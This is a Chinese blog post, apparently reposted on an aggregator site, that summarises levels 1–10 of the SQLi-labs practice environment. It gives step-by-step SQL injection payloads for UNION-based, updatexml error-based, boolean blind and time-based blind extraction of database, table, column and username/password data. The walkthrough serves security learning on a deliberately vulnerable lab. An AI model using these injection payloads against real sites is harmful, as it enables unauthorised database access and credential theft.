我是靠谱客的博主 忧虑路灯,最近开发中收集的这篇文章主要介绍sql-lab 1~10总结(后续持续更新)sql注入的一般流程:,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

sql注入的一般流程:

(1~6关)

  1. 判断注入点

    • id=1 and 1=2 – q页面异常是可能存在在sql注入
    • 若页面出现非法,使用其他注入。
  2. 判断字段数

    • order by (根据指定的列对结果进行排序),输出的数字超过列数,报错,因此可以借助此特性,进行列数的判断。
  3. 判断回显点

    • eg: union select 1,2,3 页面显示2,说明回显点在2
    • 注意:要让id的值等于一个不存在的值,这样联合查询的返回值会让union之后的查询结果在数组的第一列。只有让id的只是一个不存在的值,我们才会的道真实的数据
  4. 查询相关内容

    • 判断库名

      • ?id=-1 ’ union select 1,database(),3 – q(存在显错位)

      • 使用updatexml报错注入(不存在显错位)

        语法:

        updatexml(目标xml内容,xml文档路径,更新的内容)

        updatexml(1,concat(0x7e,( select database())0x7e),1) (0x7e,作用出现一个不合规的字符,让其报错,将我们所需要的库名爆出来)

        ?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) – q

    • 判断表名

      • ?id=-1 ’ union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 1,1-- q

      • ?id=-1 ’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ – q

      group_concat 函数缺陷:会把结果拼接在一起,有可能使答案显示不完全

      • limit 函数作用限制回显的库名是第几个
      • ?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) – q (不存在显错位)
    • 判断列名

      • ?id=-1 ’ union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ – q

      • ?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1)-- q**(不存在显错位)**

        ?id=1"%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27emails%27%20limit%200,1),0x7e),1)–%20q

    • 判断数据:

      • ?id=-1 ’ union select 1,id,3 from emails – q

      • ?id=1 'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- q

    • 提取数据:?id=-1 ’ union select 1,group_concat(concat_ws(’~’,usename,password)) from users – q

(7~10)

  • 和前四关不同,五到八关没有将搜索到的信息回显到页面上(五六关输入错误语句会显示,而八关则不会),所以需要盲注。(或报错,前面有讲)

    • 布尔盲注
      • lenth()函数 返回字符串长度
      • substr()函数 截取字符串 (语法:substr(str,pos,len);)
      • ascii() 返回字符的ascii码 [将字符变为数字well]
    • 时间型
      • sleep() 将程序挂起一段时间n为n秒
      • if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行第二个语句 如果错误就执行第三个语句。
  • 布尔盲注 解题步骤:(以 sql-lab less-8为例)

  1. 获取数据库名字的长度: ?id=1’ and (length(database()))=8-- q(利用> < 或 = 来判断其数据库长度)

  2. 获取数据库名字

    • ?id=1’ and ascii(substr(database(),1,1))=115 表示从数据库1开始取一个长度 (将得出一个十进制数,利用ASCII表将其转化为字母或符号)第一个为s、

    • 也可以通过burp suite来做

  3. 获取表的数量: ?id=1’ and (select count(*) from information_schema.tables where table_schema=‘security’)>5(=4)-- q

  4. 获取表的名字的长度: ?id=1’and (select length(table_name) from information_schema.tables where table_schema=‘security’ limit 0,1)>5(=6)-- q 有6个长度

  5. 获取表的名字 : ?id=1’and (ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1)))=101-- q 第一位为e

  6. 获取字段名:?id=1’and (ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1)))=105-- q 第一位是 i

  • 时间盲注:(以 sql-lab less-9为例)解题步骤

第九关按照刚才的盲注发现无论输入什么条件,回显结果都是一个,证明刚刚的布尔盲注已经无法使用,要尝试使用时间盲注

  1. 解析库名长度: ?id=1’ and if(length(database())=8,sleep(5),1)-- q(如果成立,就五秒后在反应,注:这里的 1 没有任何含义)

  2. 解析数据库名称:?id=1’ and if((ascii(substr(database(),1,1))=115),sleep(5),1)-- q 第一位是 s

  3. 解析表名: ?id=1’ and if((ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),1,1))=101),sleep(5),1)-- q 第一位是 e

  4. 解析字段名:?id=1’ and if((ascii(substr((select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),1,1))=105),sleep(5),1)-- q 第一位是 i

最后

以上就是忧虑路灯为你收集整理的sql-lab 1~10总结(后续持续更新)sql注入的一般流程:的全部内容,希望文章能够帮你解决sql-lab 1~10总结(后续持续更新)sql注入的一般流程:所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(36)

评论列表共有 0 条评论

立即
投稿
返回
顶部